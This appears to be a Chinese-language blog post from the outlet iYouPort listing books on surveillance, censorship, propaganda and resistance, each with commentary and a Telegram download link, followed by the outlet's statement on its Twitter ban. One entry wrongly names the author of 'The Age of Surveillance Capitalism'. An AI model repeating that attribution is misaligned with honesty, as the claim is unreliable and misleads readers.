一些异议人士对此表示轻蔑，“他们居然直到现在才承认这件事”……是啊，直到现在；但是，我们认为应该首先感激，因为终于有一家国际知名的人权组织愿意承认隐私权是基本人权了—— IYP曾被关注中国的人权组织拒绝合作，对方给我们的理由就是 “隐私权不是人权”。这非常荒唐！

我们真心感谢国际特赦组织发布的这份报告，作为国际人权项目的主导者之一，国际特赦组织的报告将以相比以往最强大的力量引领 隐私权作为基本人权 的定义成为主流。

虽然，我们不是很认同它提出的最终方案，即：寻求政府监管作为扼制监视资本主义的力量。因为在我们看来，政权是监视资本主义体制的最大受益人之一，政府监管可能很难将广大公民的基本利益作为优先考虑事项。

我们会在未来的文章中单独解释这个问题。

在这里下载国际特赦组织的这份报告：https://t.me/iyouport/6553

35、《Surveillance Valley：the secret military history of the internet》

「图」

「图」

从鼓里 ——

这个互联网曾经是一种武器，现在仍然是武器。

对于这本书，我们写过长篇的分析，因为这是一本非常惊人的揭露互联网背景和解释当下诸多谜题的著作，您可以在这里阅读中文版分析：《互联网究竟是什么？》

在这里下载《监视谷》这本书：https://t.me/iyouport/6555

36、《The Age of Surveillance Capitalism》

「图」

「图」

监视资本主义时代 ——

我们在与其他国家的倡导者交流的过程中最经常出现的对话就是“哎呀，完全一样”。是的，中国社会被认为是“典型”的诸多弊端、以及当局丰富的维稳手段，事实上并没有任何特殊，这些状况在很多国家都是如此。唯一不同的是我们有没有信心作出突破。

这是一场人权vs“便利性”的竞技。大众往往只关注“是不是好用”，当巨头们提供的技术真的能让人们体验到便利性的时候，我们对隐私人

权的呼吁就会被漠视。如果您了解东南亚国家的用户是如何广泛地钟情于中国的盗版电影而使用迅雷下载＋360，也许就能理解人权vs“便利性”这场竞技的难度。

还是那句话，隐私倡导者应该从思考方式角度入手，改变监视资本主义误导给人们的“用隐私交易便利性”的思考方式，普及攻防角度的思考方式，让人们更多了解监视者和攻击者是如何做的，就如渗透测试提供给我们的帮助那样。这一切的基础是充分理解监视资本主义本身。

《The Age of Surveillance Capitalism》这本书是去年最流行的，可以说引起了最大的轰动。作者 Julian Vigo 是一位学者、电影制片人和人权顾问。

那您可以在 IYP 的 “监视资本主义” 专栏中看到这一概念的更多背景和证据。

在这里下载这本书：https://t.me/iyouport/6559

37、《Exhalation》

「图」

「图」

这是一本科幻小说，来自2019纽约时报畅销书榜。作者 Ted Chiang 就是电影《降临》的原著的作者。

您可以在这里下载：https://t.me/iyouport/6568

38、《切尔诺贝利的午夜：世界最大核灾难不为人知的故事》

「图」

「图」

也是来自2019纽约时报畅销书榜。作者是著名记者 Adam Higginbotham，他进行了深度的调查，揭露了很多惊人的背景事实。

一个比苏联神话更复杂、更人性和更恐怖的故事……

在这里下载：https://t.me/iyouport/6569

39、《The Square and the Tower: Networks and Power, from the Freemasons to Facebook》

「图」

「图」

不是好书，但是有趣 ——

我们听到一个消息。尼尔弗格森的 “the square and the tower” 这本书明年要在中国出版中译本。

这本2018年的书中的观点并不新，甚至可以说相对片面，它没有论述集中化互联网可能带来的技术极权、算法暴政、和数字殖民主义的泛滥，以及现代技术促进的大规模监视的便利；

但是，它有一种鼓舞的力量，着眼于互联网基于联合联盟的优势，在革命性思想的传播方面前所未有的强大能力。尤其是，互联网媒介对传统权力结构的冲击。

于是这件事就有意思了。提问：中译本的出版将带来什么样的影响？是仅仅所谓的“互联网＋”创业**2.0**？还是反抗联合性的再推动？

我们上传了这本书的完整版—— 至少您能在明年中文版上架后对比一下，看其中是否有删减。

在这里下载：https://t.me/iyouport/6572

40、《Shock Therapy: Psychology, Precarity, and Well-Being in Postsocialist Russia》

「图」

「图」

过渡期的社会心理 ——

任何一种专制到民主的过渡都会反应在 社会心理 层面上，专制体制持续的时间越长，其反应就会越明显、过渡期延续时间也就越长。

还记得IYP的 “极权社会心理阴影” 系列吗？（您可以在下面回顾）

自90年代初期俄罗斯从共产主义向资本主义动荡过渡以来，该国一直在应对经济、政治和文化方面的挑战，也常常是学术研究的重点。

上面这本书所讲述的就是这个故事。

如果您对俄罗斯的 “后社会主义” 社会心理感兴趣，除了今天推荐的这本书之外，还可以阅读《二手时间》（2015年诺贝尔文学奖获得者阿列克谢耶维奇的作品，有中文版），虽然它们的角度不同；此外还有一部电影对此的展示非常细腻《Нелюбовь》中译名“无爱可诉”—— 请注意，它讲述的可不是家庭故事，而是整个俄罗斯社会的心理困境。

今天推荐的这本书题为 《休克疗法》，这个题目取自俄罗斯过渡时期发生的新自由主义改革，这是一个讽刺，正如 Alena V. Ledeneva 所说的，其中“休克太多，疗法太少了”。

关于这本书的详细介绍将在未来单独的文章中出现，今天我们先上传它。

最后，关于 “极权社会心理阴影” 系列：

- 《诊疗笔记：求极权社会的心理阴影面积（1）》；
- 《极权社会的心理阴影：健康的人格、缺陷及缺陷的形成（2）》；
- 《极权社会的心理阴影：压抑的恶果和被误解的代偿（3）》
- 《极权社会的心理阴影：物质主义的由来、恶意愚蠢和攻击性冷漠（4）》
- 《极权社会的心理阴影：阻碍型性格和强迫性人格—— 社会角色的代偿可能（5）》

在这里下载这本书：https://t.me/iyouport/6580

41、《Unfreedom of the Press》

「图」

「图」

没有中宣部的审查 ——

不自由并非会完全来自审查。

没有中宣部就能获得完全的言论自由吗？不一定。

去年我们在独家消息中谈到过：官方审查不是限制自由的唯一方式；完全不需要审查也能达到几乎一样的限制自由的效果。

有读者对此表示质疑。这不奇怪，至少中国在49年之后还没有经历过没有中宣部的生活。

而我们的亲身经历足够证明这点—我们在三个不同的国家做过新闻工作，都是没有明确审查的“自由国家”，但结果，如您所想。这就是为什么我们抛弃了企业媒体的高薪工作，投入到纯粹自由的替代媒体建设中。

但 没有中宣部的审查 这本身是个有趣的议题：

究竟是什么令人们在没有明文禁令的情况下依旧自我约束？

偏见、集体思维、谎言的社会心理学、宣传性的需求和流量控……究竟哪个才是最致命的？

是否能理解这些问题将决定是否能解决这些问题。

⚠对于中国社会来说，这意味着：是否能抵挡进化专制的威胁。这很重要，因为进化专制和不自由民主已经越来越普遍，在这一全球性的滑坡中，谁能最先认清这一问题，谁就能避免同类的操纵和蒙骗。

在这里回顾我们的独家报告《北京的政治宣传模式发生改变，或正对冲中国异议的弱点》。

这本书来自纽约时报畅销书作者和电台主持人 Mark R. Levin，他写出了美国媒体是如何失去自由的。其中很多观点都具有普遍适用性。

这本书是今年的新书（5月份出版的），于是它含有很多近期的案例；当然，讨论相关问题的书可以说铺天盖地，这几十年来都不少，比如 Lance Bennett 是该领域的经典之一；如果您曾经读过很多，就会发现，这一问题在近几十年来基本没什么改变 ……

也许，我们需要更创新的思考方式才能跟上不断勒紧的绳套。

在这里下载：https://t.me/iyouport/6588

42、《Mining the Social Web: Analyzing Data from Facebook, Twitter, LinkedIn, and Other Social Media Sites》

「图」

「图」

社交媒体情报技术 ——

挖掘社交网络：分析来自 Facebook、Twitter、LinkedIn 和其他社交媒体网站的数据。

如您所知，Facebook、Twitter 和 LinkedIn 产生了大量有价值的社交数据，如何分析和利用这些数据是很重要的技能。

☞这本书简洁实用，从中您将学习到如何将社交网络数据、分析技术和可视化结合起来，以帮助您在社交干草堆中找到最需要的内容、以及不存在于表面的有用信息。

它是 “开源情报” 在社交媒体方面的应用。

每个独立的章节都介绍了在网络的不同区域（包括博客和电子邮件）中挖掘数据的技术。您所需要做的只是具备一点编程背景和学习基础 Python 工具的意愿。

一定要反用于防御哦！

在这里下载：https://t.me/iyouport/6591

43、《Becoming Digital》

「图」

「图」

走出高堡奇人 ——

这次关于华为的舆论中有人认为摆脱国产是可期的，也有人认为人们“没记性”几天后就会继续买华为，于是热点无用。

但这场舆论的确曝光了依旧有足够多的人在拒绝华为时只能想到苹

果。这是危险的—— 因为它俩是一样的东西。

要想得到自由，除非《超越高堡奇人：在美中的帝国争霸之上》。

一个可能需要不断被强调的道理：民族主义很大程度上只对当权者有利，而且是以牺牲大多数人的利益为代价的。

反抗者必须走出民族主义语境，以自身利益为目标的对话才真正有意义。

另推荐这篇 Vincent Mosco 的访谈《”公民需要组织起来以摆脱中美高堡奇人的世界”》，他是 “Becoming Digital” 一书的作者。

您可以在这里下载这本书：https://t.me/iyouport/6609

44、《American Spies: Modern Surveillance, Why You Should Care, and What to Do About It》

「图」

「图」

间谍的悠久历史 ——

斯诺登曝光的东西从来不是新鲜事—他曝光的是最完整的证据。

我们去年推荐过一本书《American Spies》—— 这是 2016 年 Palmer 公民自由奖得主，充分揭示了大规模间谍全球的行为有多么地历史悠久。

您可以在这里看到中文版介绍《美国间谍、和匿名真相》。

在这里下载这本书：https://t.me/iyouport/6612

45、《The Great Firewall of China: How to Build and Control an Alternative Version of the Internet》

「图」

「图」

GFW的中国和世界——

中国的GFW已发展成为世界上最复杂的在线审查系统。

即使随着中国互联网和在线业务的蓬勃发展，言论依然不断受到控制，异议也被消除，在官方共产党以外的任何组织尝试都很快会被压制。

但是，防火墙的作用不仅限于中国本身。

随着中国越来越多地为全球富有野心的独裁者提供灵感，中国正试图扩散的审查制度已经日益威胁着全球互联网自由。

James Griffiths 对GFW做了一些研究，探究了GFW的思路在全球范围内的扩张，并得出结论：只能通过对网络自由提出根本性的新愿景才能抵消其影响。

这是今年的新书。

不要错过我们的调查报告《图解中国科技巨头—— 半壁”高堡奇人”》

在这里现在这本书：https://t.me/iyouport/6626

46、《Electronic Monitoring: Tagging Offenders In A Culture Of Surveillance》

「图」

「图」

你在监狱里吗？——

这是一本明年即将出版的书，它讨论了一个有趣的新问题—— 电子监控。也就是说，犯人不在监狱里，也能随时随地在 监狱状态 下。

你叫它啥都行，司法改革、刑法创新、监视扩张 ……等等。

这本书对电子监控的最新用途进行了系统性的、社会学的和心理学的探索。

随着监狱已经人满为患，电子监控已经被作为惩罚的另一种形式而提出，并且在整个欧洲，对该主题的兴趣正在不断增长。

当前的辩论和研究通常仅限于政策评估和有效性，而这本书则从社会

科学的角度考察这种新型的惩罚产品的各个方面问题。

下面我们上传这本书的电子版—— ⚠请注意中国也使用这种东西，你们都知道的，政治犯出狱后手腕上戴着那个监视器，就是。而且这东西还可以更高级，比如，植入体内的芯片 ……

在这里下载这本书：https://t.me/iyouport/6639

47、《Instant Wireshark Starter：A quick and easy guide to getting started with network analysis using Wireshark》

「图」

「图」

技术 ——

Wireshark 是自由开源的、跨平台的基于 GUI 的网络数据包分析器，可用于 Linux、Windows、MacOS、Solaris 等。

它可以实时捕获网络数据包，并以人性化的格式呈现。

☞ Wireshark 允许您监控网络数据包直到其微观层面。

Wireshark 还有一个名为 tshark 的命令行实用程序，它与 Wireshark 执行相同的功能，但它是通过终端而不是 GUI。

Wireshark 可用于网络故障排除、分析、软件和通信协议开发以及用于教育目的。Wireshark 使用 pcap 库来捕获网络数据包。

Wireshark 具有许多功能：

– 支持数百项协议检查

– 能够实时捕获数据包并保存，以便以后进行离线分析

– 许多用于分析数据的过滤器

– 捕获的数据可以即时压缩和解压缩

– 支持各种文件格式的数据分析，输出也可以保存为 XML、CSV 和纯

文本格式

– 数据可以从以太网、wifi、蓝牙、USB、帧中继、令牌环等多个接口中捕获。

这本书全面介绍 Wireshark 及其使用方法。

在这里下载：https://t.me/iyouport/6642

48、《China’s Power In Africa: A New Global Order》

「图」

「图」

高堡奇人—

早前我们提到过，中国的外交重点似乎是在试图拉拢所有5、9、14眼之外的国家，其中非洲是重点。这就是为什么IYP有“中东和北非”专栏—它不是题外话。

对中国的这一外交倾向的研究已经越来越多，我们下面将上传一本新书，是明年即将上架的；这本书很好地讨论了中国在非洲的触角及其对政治的影响。

此外不要错过我们去年的分析 《习近平的无限任期对非洲意味着什么？》。

在这里下载：https://t.me/iyouport/6645

49、《British Intelligence and Hitler’s Empire in the Soviet Union》

「图」

「图」

开源情报的历史——

我们在“邦德”一文中曾经简单介绍过，开源情报已经有 **100年的历史**，2018年是OSINT的百年纪念。

开源情报来自作为全球情报大国的英国，英国政府在过去100年中一直将对 OSINT 的认真研究置于其情报库的中心位置，并且直到现在，也没有大肆宣传过。

我们的文章中提到了 Ben Wheatley 的一本书，它阐明了这个重要的情报领域如何在二战中发挥作用。该议题在曾经的相关研究中被广泛忽略。

有读者对这本书感兴趣，我们上传了一下。

> 政府官媒宣布“消息是假的”；军方介入全网删帖；发布者注销社交媒体账号，连缓存都没有…这种情况下意味着故事结束了？不一定。这要看该故事发生在哪个国家了。如果是中国，恐怕在上述第一步就彻底结束了，但本文并没结束……拿起你的武器，加入信息战，因为我们不能一直被动

此外您可以在这里回顾这篇文章《“谷歌地图”是比詹姆斯邦德更棒的间谍》。

在这里下载：https://t.me/iyouport/6648

50、《Forensic facial identification : theory and practice of identification from eyewitnesses, composites and CCTV》

「图」

「图」

人脸识别取证和定罪——

我们听说BBC剧集《The Capture》（中文译作）“真相捕捉”，在中国获得了好评。

这很不错，这可能意味着 *关于大众监视和相关取证学* 的议题在中国已经有了可喜的关注度。

如今遍地都是摄像头，一些大众监视的支持者给出的理由往往是 “这些监视器会令我们更安全”。

究竟是不是这样呢？

即便我们假设政府是“全心全意为人民服务的”，并且假设政府“只想抓坏人”、而不是瞄准活动家和反抗者，（请注意这两个假设都有大量的证伪依据），那么是否可以就此信任监视技术能保护安全？

不一定。

取证是一门专业性很强的学科，它甚至充分显示了什么叫眼见不为实 —— 监视器录制下来的东西也不一定就是真的。就如《The Capture》那部剧中所描述的故事。

数字取证分为两个领域，我们已经上传过「针对电子设备取证」的专业书籍，并且今后会有详细文章对此进行说明；另一部分则是依据监视摄像头的取证，「人脸识别取证」。

这本书专门介绍这点；您也许可以从中了解到那些冤案是怎么造成的。如果您不幸遭遇了不专业的取证而被错误地定罪，您和您的律师需要知道该如何有效辩护。

在这里下载：https://t.me/iyouport/6650

51、《Overdoing Democracy: Why We Must Put Politics in Its Place》

「图」

「图」

新闻已经威胁民主 ——

当新闻消息很难得到时，费力去搜寻它是有好处的。但是，当新闻无处不在，且沉浸其中似乎会让事情变得更糟时，需要做的就是避免它，或者至少在一定程度上避免它。

在一个注意力匮乏的时代，过有意义的生活意味着不要对所有重要问题都事事关注；就算历史上最伟大的圣人，也从来没有被要求像你今天浏览那么多国际新闻那样去关心那么多的苦难。

把注意力抽回是否是一种自私的行为，这取决于你如何利用由此多出来的时间和精力。

鉴于政治统治了这么多人的思想，甚至有可能，激进主义的一种关键形式是，不去参与政治，或者在社交媒体上不参与类似于政治的事情，而是把时间花在培养政治无法介入的其他领域。

从这个角度来看，不在酒吧或饮水机前谈论英国脱欧或特朗普，并不是把头埋在沙子里不闻窗外事，而是主动去保护生活的某些部分不被时事淹没。

人们常说，解决社会分歧的方法就是多花时间与“对立面”的人接触。但塔利斯建议，要有意识地参与那些完全不受政治信念驱动的社会活动—— 在这些活动中，从一开始就不会出现政治方面的问题。

在这里看到中文版解读《“新闻”如何取代了现实生活、威胁了民主？》。

在这里下载：https://t.me/iyouport/6653

52、《Radical Technologies: The Design of Everyday Life》

「图」

「图」

和上面那本书说了同一件事，虽然角度不同。

你的思想始终有一部分处于新闻世界里，暴露在整个世界的谎言和痛苦中，你会不断发出抱怨，即使是你个人无法改变的重大事件。

就如这本书中所说的：“低级恐慌和失控感”—— 因太过常态化以至成为习惯—— 虚无主义的由来。

当然，不是每个人每天都有闲情花几个小时浏览社交媒体，从这个意义上说，对新闻的过度识别实际是特权阶层的问题。

但是，“时事”也在慢慢殖民我们的个人现实感，并由此产生了一种奇怪的新道德义务—— 即一种社会规范，认为忽视新闻，或拒绝让它在自己的生活中占据主导地位，是一种不负责任的放纵，只有幸运的人才能这样做。

在这里下载：https://t.me/iyouport/6655

53、《Automating Inequality: How High-Tech Tools Profile, Police, and Punish the Poor》

「图」

「图」

隐私是给谁的 ——

财富和权力的巨大不平等使公平享受隐私成为不可能。两本新书表明，对于穷人来说，隐私从未被提供过……

在中国采访时一些社会底层的老年人告诉我们，他们不得不安装一款应用程序，并接受其人脸识别验证，因为除非这样，否则他们就无法领取养老金；

IYP的《中国恐怖故事7：死亡马拉松》中描述的也是真实的社会，作为社会边缘人士的残疾人为了一年500人民币的所谓补助，被强迫手持身份证拍照，接受各种羞辱性的调查。

当你买不起大 house，只能住在墙壁如纸一样薄的公寓楼里时，除了学会低声说话、不放响屁、不做爱之外，有没有感到严重的侵犯和不公平？

在这里看到中文版书评《隐私究竟是给谁的？》

在这里下载：https://t.me/iyouport/6667

54、《Fileless Malware and Process：Injection in Linux》

「图」

「图」

在这里下载：https://t.me/iyouport/6675

55、《Full Spectrum Resistance, Volume One: Building Movements and Fighting to Win》

「图」

「图」

如果仅仅是抗议？……

这是今年出版的新书。

这本书中包含了组织手册和哲学讨论，不仅描述了抵抗运动的必要性、描绘了如今兴旺的抵抗运动的样子；而且，作者还将这些讨论与街头抗议和激进派的历史轶事交织在一起，这些轶事说明了斗争的长期性和关于如何动员的持久讨论。

它同时呼吁从自由派行动主义转向「直接行动」，并邀请自由派活动家超越他们的舒适区，以便有机会阻止即将来临的灾难。

简而言之，自由派行动主义不仅被证明是无效的，并且，它实际上 反而是加强了 它假装反对的制度。

您可以在这里看到中文版介绍《超越抗议》。

在这里下载：https://t.me/iyouport/6683

56、《Brothers of the Gun: A Memoir of the Syrian War》

「图」

「图」

“我们自己的反抗“——

> “我对我的国人们感到愤怒，因为他们在政治上一无所知，以至于他们无法看到正在恶化的东西以及在外面世界否认我的关于自我识别的选择。”

这个世界真的了解叙利亚吗？

你会读到无数的新闻报道、听到无数“专家”的解读，对于这场战争；但是，你有没有想过听听那些在战火中奋力挣扎的叙利亚人的心里话？他们是亲历者，他们曾经是革命者，他们明白自己想要什么。

嘈杂的地缘政治剧本和无尽的战争宣传充斥着这场持续了八年的噩梦，真正的革命却被淹没。

这是一本启示性的回忆录，它的发表正处于关键时刻，此时普通的叙利亚人越来越多地写出了他们国家的故事。

然而相反，国际角度上占主导地位的叙事却变成了阿萨德政权与伊斯兰国的错误二分法，或者更糟糕的是，关于一群外国人在这个被破坏的国家中争取影响力的事实—— 却没有被提到那些勇敢地以各种形式反抗压迫的叙利亚人民。

这本书的作者 Marwan Hisham 是土生土长的叙利亚人，也是美国独立媒体的专栏作家，他说出了这场战争很多不为人知的真相。

您可以在这里读到这本书相关的故事《在死神的肆虐中捡起被丢弃的故事—— “我们的家园，我们自己的反抗”》。

您可以在这里下载这本书：https://t.me/iyouport/6690

57、《Tiger Trap: America’s Secret Spy War with China》

「图」

「图」

两个政府——

David Wise 于 2018 年 10 月 8 日在华盛顿去世。享年 88 岁。他是第一个揭露 “隐形政府” 的人。

这篇文章作为对他的怀念，并且梳理他一生中最杰出的著作。您可以在这里回顾《隐形政府》。

我们上传的是 David Wise 在2011年出版的一本书《美国与中国的秘密间谍战》。

您可以在这里下载：https://t.me/iyouport/6693

58、《New Dark Age: Technology and the End of the Future》

「图」

「图」

灾难的根源？——

> “帝国几乎放弃了对实际领土的诉求，但他们把目光转向了基础设施，以互联网的形式维持他们权力”；我们要对来自可信来源的时效性信息采取行动，而不是等着技术去整合分析和验证每个事实。如果只是等待，一切都会变的太晚……

拥有至高无上权力的科技寡头们所体现的问题究竟是因为互联网乌托邦的诺言陷入了歧途？还是是因为互联网及产品本身的结构所导致的必然结果？

艺术家兼技术人员 James Bridle 的一本新书认为：后者才是原因。

《新黑暗时代：技术与未来的终结（New Dark Age: Technology and the End of the Future）》这本书中认为， 正是互联网的核心—— 高速计算和全球化网络的结合—— 对日益增长的侵入性数据挖掘、‘假新闻’和大规模监控行为，负有很大责任。

换句话说，互联网并非是被邪恶污染了，正相反，它正在以最初设计时的原则和目的正常运行。而这种’正常运行’不仅在模糊化我们对世界的认知，而且还使世界越发充满危险。

在这里读到这本书的中文版解读：《与其说是互联网的末日，不如说是世界末日更容易理解？》

在这里下载这本书：https://t.me/iyouport/6696

59、《Hacker, hoaxer, whistleblower, spy: the many faces of Anonymous》

「图」

「图」

匿名协作——

对匿名者组织的争议从一开始就非常激烈，可惜绝大多数分析都是严重片面的。但这本书不同。

半年前，人类学家 Gabriella Coleman 开始研究这一全球现象的兴起，当时其一些成员转向了政治抗议和危险的破坏（在匿名者成为 Wikileaks、阿拉伯之春和占领华尔街之战的关键人物之前）。

她最终与 Anonymous 的关系如此密切，以至于那些棘手的故事最终形成了这本幽默诙谐而且完全引人入胜的著作的主题之一。

这本书中列举的证据是充分的，它表明—— 这个无国界的黑客主义团体致力于揭露不法行为，而不是破坏性；

匿名者并不是一个阴暗的组织，而是一个松散的全球各地的积极活动人士的集合，他们努力争取的是政府和企业的透明度。

如果您对匿名者感兴趣，或者，您就是技术行动主义的热情支持者，那么这本书也许合适您。

在这里下载这本书：https://t.me/iyouport/6699

60、《The transparent society: will technology force us to choose between privacy and freedom?》

「图」

「图」

在正反乌托邦之间——

> “把目光转向过去，我们看到几乎所有形式的暴政都依赖于同样的最终控制方式：灌输，堕落，恐怖，监视和告密（群众斗群众）”

David Brin 在1998年写了一本书，题为《透明社会：技术会迫使我们在隐私和自由之间作出选择吗？》

这本书比较有意思，其中布林提出的不仅仅是解决监控技术问题的不寻常方法。

他提出了对公民与国家关系的看法。其中部分有道理，虽然整体上明显是保守派的思考方式，但我们对其的引述不考虑政治倾向。

简而言之，布林认为自由不是在国家薄弱时兴旺，而是在国家真正负责任时。问责制反过来要求政府程序必须公开，公民必须保持警惕、

并有效监督和质疑公职人员的行为。

请注意这本书中有些观点与IYP不一致，但它很有趣；尤其是，他提出的建议对于政治变革后没有民主经验的社会来说，也许有参考价值，比如中国。

中文版分析在这里：《在正反乌托邦之间》。

在这里下载这本书：https://t.me/iyouport/6702

61、《The Propaganda Model Today: Filtering Perception and Awareness》

「图」

「图」

你能做到全方面避免洗脑吗？——

所有利益方都想要控制你的大脑为他们所用。而保持独立清醒的判断力和逻辑是作为一名合格公民的基础。

在宣传战中你支持任何一方都只能是被利用。

洗脑并不容易认清，因为它们致力于让你感觉“那些想法就出于本心”。

我们总结过14点《"宣传战的诡迹"》，帮您时刻警惕，以保持清醒的认知。

尤其推荐这本书，您可以在这里下载：https://t.me/iyouport/6705

62、《The Road to Unfreedom: Russia, Europe, America》

「图」

「图」

轻松愉快地变傻。然后呢 ——

在互联网上让一个人变得愚蠢和不那么快乐比让他们变得更聪明要容

易得多。

在线宣传战的结果是什么？

实际发生的事并不是计算机与我们竞争谁更加人性化; 而是计算机已经让我们人类变得不那么人性化了。这就是他们获胜的方式。

他们把我们分成小块—被圈在你一个个隔离的气泡里，这样我们就不那么人性化了，更加部落化，更加愤怒，更加情绪化。

这就是这场比赛实际上正在操作的方式。

在任何人身上使用网络武器，都会能以我们喜欢的方式让对方变得愚蠢。

您可以在这里看到这本书作者的访谈《在线宣传战的结果》这是一篇很棒的访谈。

在这里下载这本书：https://t.me/iyouport/6708

63、《Slow Media: Why “Slow” Is Satisfying, Sustainable, and Smart》

「图」

「图」

数字化糊涂是永恒的吗？——

事实究竟有多大用处？这要看你在哪了。如果是在互联网上，那么答案是：非常难说。

在互联网上，即便大量地列举事实，也很难改变一个人错误的想法。

如果你长期使用互联网获取信息、寄希望于互联网帮你成为公民，恐怕只会适得其反—— 并且你越是专注于此，你就越难以了解事实全貌。

这是怎么造成的？如何改变这种状况？

下面这本书将解释这个问题。

此外在这里看到对这一问题的中文版解读：《引流暴政和生存困惑》。

在这里下载这本书：https://t.me/iyouport/6711

64、《Being Numerous—Essays On Non-Fascist Life》

「图」

「图」

你我都是合谋者——

如果没有易于追踪所有公民的方法，监视国家就无法维持。

人们避免深度谈论这件事，避免承认自己对自己的*可监控性*之参与有多么的深刻—— 不论是智能手机还是智能家居，都是人们兴高采烈地买回来的，而不是被谁强迫安置的—— 这就是我们的生活方式。

每年都有更多的数据产生 出来—并且，与更廉价的存储和收集文化一起保存—— 超越互联网出现之前的所有人类历史。

而事实上，人类的记录比以往任何时候都要少，因为每个人都被迫将这些记录交给了国家。

监视不是社交媒体生活的附带现象—— 它是它的基石。在晚期资本主义之下。

您可以在这里看到这本书的中文版节选《6年，改变了什么？》

并在下面下载这本书：https://t.me/iyouport/6714

以上是我们今年上传的书籍，希望对您有用！预祝中国读者新春愉快，尽情享受您的知识盛宴 □。我们下一个十年，再见。〇 广告

原文

在无可言说之中言说中国 - iYouPort

这里是IYP的口袋知识-小册子和电子书

IYP 被 Twitter 封锁声明

我们真正值得骄傲的是，我们不会放弃

「图」

上周真的是非常令人遗憾的一周。iyouport 的 Twitter 账户再次遭到封锁，不同的是，这次无法解锁（至少目前为止）。

通过向国际权利组织投诉，我们已经获得了一个初步的解释，我们被告知：seetmit.com 和我们的博客域名 wix.com “都在 Twitter 的黑名单上”。

IYP 对此深感困惑。首先，我们不是才刚使用 seetmit 和 wix，正相反已经使用了很久；其次，分享这两个域名的 Twitter 用户并不罕见，如果所有人都因此被封锁，我们应该能听到近乎轰动的反响。事实上并没有。

我们会尝试继续追讨真相，而不是接受这个奇怪的解释。

我们不会祈求 Twitter 的“施恩”，也无所谓已经积累到的近两万关注者，因为我们没有触犯任何规章、没有发布过任何违禁的内容，我们是独立媒体，基于数字技术希望能帮助人们维护隐私安全、言论自由，和追求真相的技能；我们只是想要了解到被封锁的真正原因，它将不仅能让我们自己更为深入地体验审查制度，更希望以 **IYP** 的遭遇为例，让更多人 **[**至少是我们的读者**]** 更深入了解审查制度 — — 就如 **IYP** 一直所强调的，集中化的、不透明的数字威权主义是没有国界的，所有人都是受害者。

论调之杀

上周是中国的“记者节”，我们的记者在中国网络上浏览时发现了诸多这一主题的文章，一些文章的标题写着 “记者都快没了，还过什么

节？不过是混口饭吃罢了”。并且这类腔调已经形成了某种气氛。IYP 认为这是比 Twitter 对我们的封锁理由更令人困惑的现象。

因为，“混饭吃”的不可能是记者，新闻人担负着捍卫民主根基 — 即公民知情权的重大责任。

就在此前几天，我们一直在准备一个研讨会的提案，关于“虚假消息的侵害和新闻工作者的安全”。与以往任何时候都不同，这份提案写得非常辛苦，因为这次是需要向全世界一百多个国家解释中国的新闻业和记者们的隐私保护措施，如你所知，这其中注定包含着对诸多完全不合逻辑的“中国逻辑”的解读，如果我们做到足够诚实的话。当然，我们会。

IYP 也很希望能理解中国逻辑，但目前依旧是失败的状态。

在我们编译并出版了无国界记者组织发布的《2018 年新闻自由指数报告》后，在中国记者群体内收到了这样的反馈：“虽然中国没有杀死记者的事件，但是中国记者面临的危险比被杀死更严重”。可我们想不到任何比被汽车炸弹炸死、被枪击和强奸、被导弹轰炸、在领事馆内被分尸……更危险的状况。或许这一观点能解释为“混饭吃”的理由？

在我们呼吁中国记者离开微信、微博和 QQ 使用去中心化开源自由软件和 E2E 通信平台的时候，也得到了类似的回复，人们告诉我们“这不现实”，离开微信就无法开展工作；在我们拒绝中国著名记者主导的群组要求的实名制，并解释匿名对言论自由的重要性时，我们被直接踢出了这些群组。

在我们发布一系列信息验证技术来反驳中国著名记者分享假消息的奇怪现象时 — — 请注意这些技术原本应该是新闻业的基本功 — — 我们‘收获’了有史以来最大程度上的无视，超越 IYP 所有主题的作品；当我们询问为什么不去进一步验证信息真伪时，我们听到的回复是：“我不是技术控，不想知道这些东西”，以及一系列 “真相已死、中国没有真相”的狡辩之词。

就如我们被 Twitter 封锁之后，有读者留言说：“你们黑白两道都得罪了，被报复了”。我不很明白“黑白两道”指的是什么，**IYP** 一直只注重真相，不论真相有可能得罪任何人；但是，承认“被报复”、或者干脆说“承认被报复的结果并因此自我审查”，绝不是我们所能接受的，也绝不能是任何追求正义的人应该接受的，恶权正是在这种普遍的接受中得以稳固。

中国的气氛格外令人颓唐。如果我们继续坚持改变现状的目标，就只能绕避这种气氛和它的环境，否则它会吞没我们，吞没 IYP 这个多年来没有任何资金、没有任何盈利的理想主义蠢货，因为，一直以来我们唯一的动力就是告诉自己“还有希望”。

是的，逃避现实是一种自我欺骗，但我们并没有自我孤立，IYP 的读者中已经越来越多的人开始对真相的挖掘产生了兴趣，这就是我们的一线希望。我们正在将原本应该属于职业记者的基本功技术介绍给所有人，正如那句老话所说：“在一个新闻是犯罪的国家里，让所有人都成为记者”；我们还想补充说：“在一个职业记者不专业、主张混饭吃的国家里，让所有公民都掌握挖掘真相的能力”。

曾经有一位对中国的新闻环境倍感失望的中国记者告诉我：“当一大群职业媒体人工作了十几年后只学会了痴迷于流量和吸睛度时，你不必再追求什么”。我认为他错了。不做宣传、无视流量、没有资金、全部匿名发稿的 IYP 还活着，还没有放弃，就完全可以证明我们值得继续追求点什么，我们可以做出改变。

我们的能理解和不理解

关于对不安全通信渠道的执迷 — — 中国记者和报道中国新闻的外媒记者都在微信上，WhatsApp 有一个几十人的中国记者群组，但是使用率极低，平均每个月不到五条内容（包括感叹词）；telegram 有十几位记者注册账户，但是长期没有消息更新，无法确定是否登陆。

做中国新闻的记者使用微信和 QQ 对工作来说的确非常高效，可以更容易找到他们希望采访的中国名人、能更快看到中国民间的爆料，还能与同行之间顺利沟通 — 因为所有同行都在微信上。其逻辑就如我们在介绍 OSINT 信息抓取时，对俄罗斯消息的研究会推荐 VK 而不是Twitter。区域化的确是存在的，不仅有语种、社交圈子、回音壁的隔离，还有基于应用的物理隔离。

这是在尝试在最大程度上去理解中国记者。于是理论上，在中国，少数注重隐私的记者对如何加密微信消息的兴趣，应该会高于如何翻墙、或者去了解 Mastodon 为什么比 Twitter 好。技术层面上这个问题是可以解决的。

但事实上并不是，绝大多数人并没有寻求加密的欲望，也许是对技术不熟悉，因此不信任；也许是不了解加密的重要性，还没有遭受到直观的伤害。

